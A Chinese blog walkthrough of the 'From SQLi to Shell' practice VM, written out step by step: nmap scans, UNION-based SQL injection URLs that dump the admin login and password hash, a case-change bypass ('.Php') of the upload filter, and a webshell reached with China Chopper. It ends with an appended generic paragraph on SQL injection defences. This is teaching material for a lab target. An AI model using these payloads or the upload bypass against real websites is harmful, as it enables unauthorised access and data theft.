from_sqli_to_shell靶机初体验

from_sqli_to_shell靶机初体验

前期准备

1.安装好from_sqli_to_shell和kali(这里我用kali2022)

2.设置两台虚拟机网络适配器为–仅主机模式

3.查看虚拟网络编辑器

在这里插入图片描述

4.开机!

实战演练

信息收集

不知道靶机的IP地址,但是因为设置了仅主机模式,只知道他所处的网段192.168.20.0/24,所以可以在kali上扫描主机,这里用到的命令是

nmap -sn 192.168.20.0/24

在这里插入图片描述

显而易见,靶机的ip地址为192.168.20.130

现在,我们需要查看靶机开了什么服务,相应的命令是

nmap -sS -sV -T4 -A -p- 192.168.20.130

在这里插入图片描述

从结果可以看出,靶机开了80端口,我们可以试着用网站访问一下

Attack!!

我们访问他的网站

Screenshot 2022-07-21 111203

凭着直觉,点击了Admin,出现的页面是一个登录界面

Screenshot 2022-07-21 111318

在尝试了各种办法,都无法登录(那就是我太菜了),直觉告诉我,这是一个后台管理的登录界面。想要登录成功,得先找到用户名和密码。

既然这里注入不了,难道就没有其他办法了吗?

别急,还没看完呢

在导航栏的这几个页面中我们可以看到url有可能存在sql注入

在这里插入图片描述

Screenshot 2022-07-21 111438

我们开始尝试注入,判断字段长度

http://192.168.20.130/cat.php?id=1 and 1=1 order by 4--+

Screenshot 2022-07-21 114038

所以字段数为4

接下来就是判断回显位置,我们试着输入

http://192.168.20.130/cat.php?id=1 and 1=1 union select 1,2,3,4--+

在这里插入图片描述

回显位置就出来了。现在,我们开始我们的sql注入之旅

手工注入

查看mysql数据库版本

http://192.168.20.130/cat.php?id=1 and 1=1 union select 1,version(),3,4--+

在这里插入图片描述

注:5.0以上有information_schema

查看当前数据库名字

http://192.168.20.130/cat.php?id=1 and 1=1 union select 1,database(),3,4--+

Screenshot 2022-07-21 115022

补充知识

  1. information_schema:表示所有信息,包括库、表、列
  2. information_schema.tables:记录所有表名信息的表
  3. information_schema.columns:记录所有列名信息的表
  4. table_schema:数据库的名称
  5. table_name:表名
  6. column_name:列名

接下来是查找数据库photoblog的表名

http://192.168.20.130/cat.php?id=1 and 1=1 union select 1,table_name,3,4 from information_schema.tables where table_schema='photoblog'--+

Screenshot 2022-07-21 115155

既然是后台登录密码,那肯定是users表啦,问就是直觉哈哈

确定是users表后,就开始查users的列名

http://192.168.20.130/cat.php?id=1 and 1=1 union select 1,column_name,3,4 from information_schema.columns where table_schema='photoblog' and table_name='user'--+

Screenshot 2022-07-21 115359

http://192.168.20.130/cat.php?id=1 and 1=1 union select 1,login,3,4 from photoblog.users--+

Screenshot 2022-07-21 115517

http://192.168.20.130/cat.php?id=1 and 1=1 union select 1,password,3,4 from photoblog.users--+

在这里插入图片描述

查到密码是一段加密后的代码,我们放进md5进行解密

在这里插入图片描述

这时候用户名和密码都出来了

admin

P4ssw0rd

我们满怀信心得登录,最终成功了,进入了管理后台页面。

在这里插入图片描述

文件上传

Screenshot 2022-07-21 120048

在这里插入图片描述

啊哈,被我们发现了一个疑似文件上传的漏洞,坏心思涌上心头。上传个小马,用菜刀连接一下

Screenshot 2022-07-21 120224

Screenshot 2022-07-21 120306

没想象到靶机对php进行了过滤

那么既然有过滤,就有绕过。我们先试一下大小写。

用burpsuit拦截一下,如图

在这里插入图片描述

我们把php改成Php尝试一下,放行。

结果成功上传了,不得不说这个过滤还是有点走心的。
在这里插入图片描述

接下来该怎么办,如何知道上传的路径?

我想了想,kali不是有一个dirb扫描网站目录吗?

我立马去搜了一下相关命令

dirb http://192.168.20.130

Screenshot 2022-07-21 121354

我们发现有一个名为uploads的目录。这时候发挥一下想象力,这不就是上传吗?而且整个网站只有一个上传文件的地方,所以说,abc.Php很有可能在这里。

 dirb http://192.168.20.130/admin/uploads -w -X .Php

在这里插入图片描述

不出所料,我们立刻用菜刀连接,配置如下

菜刀1
在这里插入图片描述

我们上传一个文件看看

在这里插入图片描述

Screenshot 2022-07-21 135932

成功了,nice!

总结

这次靶机总体来说难度不高,基础入门。

本人也很菜,技术嘛,刚入门吧,如果大佬们觉得我做的不好的地方,欢迎指出,虚心请教。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
宏景 get_org_tree-sqli是一种SQL注入攻击。在宏景软件的get_org_tree函数中,存在着未经过滤或者验证的用户输入,导致攻击者可以通过构造恶意的SQL查询语句来对数据库进行未授权的访问和操作。 当应用程序没有正确地对用户输入进行过滤、转义或验证时,攻击者可以利用这个漏洞构造恶意的输入来执行SQL查询语句。攻击者可以注入SQL代码,修改数据库查询语句的逻辑,获取、删除或修改数据库中的数据,甚至完全控制数据库服务器。 为了防止宏景 get_org_tree-sqli攻击,开发人员应该始终遵循安全的编码实践。 1. 输入验证和过滤:应该对所有的用户输入进行验证和过滤,确保输入数据符合预期的格式和类型。可以使用合适的输入验证函数或正则表达式来实现。 2. 使用参数化查询或预处理语句:建议使用参数化查询或预处理语句来执行数据库查询操作,而不是直接拼接用户输入构成的查询语句。参数化查询可以防止SQL注入攻击。 3. 最小权限原则:数据库账户应该按照最小权限原则进行授权,避免给予不必要的权限。这样即使发生了SQL注入攻击,攻击者也只能执行有限的操作。 4. 错误信息处理:避免将详细的错误信息直接输出到用户界面上,这样可能会暴露敏感的数据库结构和错误详情,为攻击者提供攻击的线索。可以将错误信息记录在日志文件中,以便日后的安全审计和调查。 通过以上措施,开发人员可以提高应用程序的安全性,防止宏景 get_org_tree-sqli等SQL注入攻击对系统造成威胁。同时,定期对应用程序进行安全测试和漏洞扫描,及时修复和更新系统中发现的安全漏洞,保障系统安全运行。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值